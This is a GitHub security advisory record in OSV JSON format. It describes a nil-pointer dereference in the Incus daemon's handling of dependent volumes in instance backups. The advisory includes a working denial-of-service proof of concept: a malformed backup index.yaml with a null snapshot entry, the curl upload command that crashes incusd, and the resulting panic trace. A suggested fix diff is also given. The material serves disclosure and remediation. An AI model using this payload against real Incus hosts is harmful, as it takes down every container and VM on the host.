{"id":"GHSA-4xg6-52mh-fpw8","summary":"Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}","details":"## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n    ...\n    for _, disk := range srcBackup.Config.DependentVolumes {\n        if disk == nil {                                  // ← d768f81 parent fix\n            return errors.New(\"Bad dependent volume definition found in index\")\n        }\n        ...\n        snapshots := []string{}\n        for _, snap := range disk.VolumeSnapshots {\n            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil\n        }\n\n        bInfo := backup.Info{\n            Project:          disk.Volume.Project,        // ← disk.Volume may be nil\n            Name:             disk.Volume.Name,\n            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil\n            Pool:             disk.Pool.Name,\n            ...\n        }\n        ...\n        devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n        ...\n    }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -\u003e `createFromBackup:854` (Container guard passes) -\u003e `pool.CreateInstanceFromBackup` -\u003e `backend.go:782 b.createDependentVolumesFromBackup` -\u003e `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n  container:\n    name: poc-inst\n    architecture: x86_64\n    type: container\n    profiles: [\"default\"]\n    config: {}\n    devices: {}\n    expanded_devices:\n      depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n    expanded_config: {}\n  dependent_volumes:\n    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n      pool:   {name: default, driver: dir, config: {}}\n      volume_snapshots:\n        - ~    # explicit null entry → snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-inst.tar.gz \\\n    -H 'Content-Type: application/octet-stream' \\\n    -H 'X-Incus-name: poc-inst' \\\n    http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n     for _, disk := range srcBackup.Config.DependentVolumes {\n         if disk == nil {\n             return errors.New(\"Bad dependent volume definition found in index\")\n         }\n+\n+        if disk.Volume == nil || disk.Pool == nil {\n+            return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+        }\n+\n+        for _, snap := range disk.VolumeSnapshots {\n+            if snap == nil {\n+                return errors.New(\"Bad dependent volume snapshot definition\")\n+            }\n+        }\n+\n         optimizedStorage := srcBackup.OptimizedStorage\n         optimizedHeader := srcBackup.OptimizedHeader\n\n         snapshots := []string{}\n         for _, snap := range disk.VolumeSnapshots {\n             snapshots = append(snapshots, snap.Name)\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.","aliases":["CVE-2026-48754","GO-2026-5800"],"modified":"2026-07-07T20:41:47.989445577Z","published":"2026-06-26T18:52:46Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-06-26T18:52:46Z","nvd_published_at":null,"cwe_ids":["CWE-476"]},"references":[{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"affected":[{"package":{"name":"github.com/lxc/incus/v7/cmd/incusd","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v7/cmd/incusd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4xg6-52mh-fpw8/GHSA-4xg6-52mh-fpw8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}]}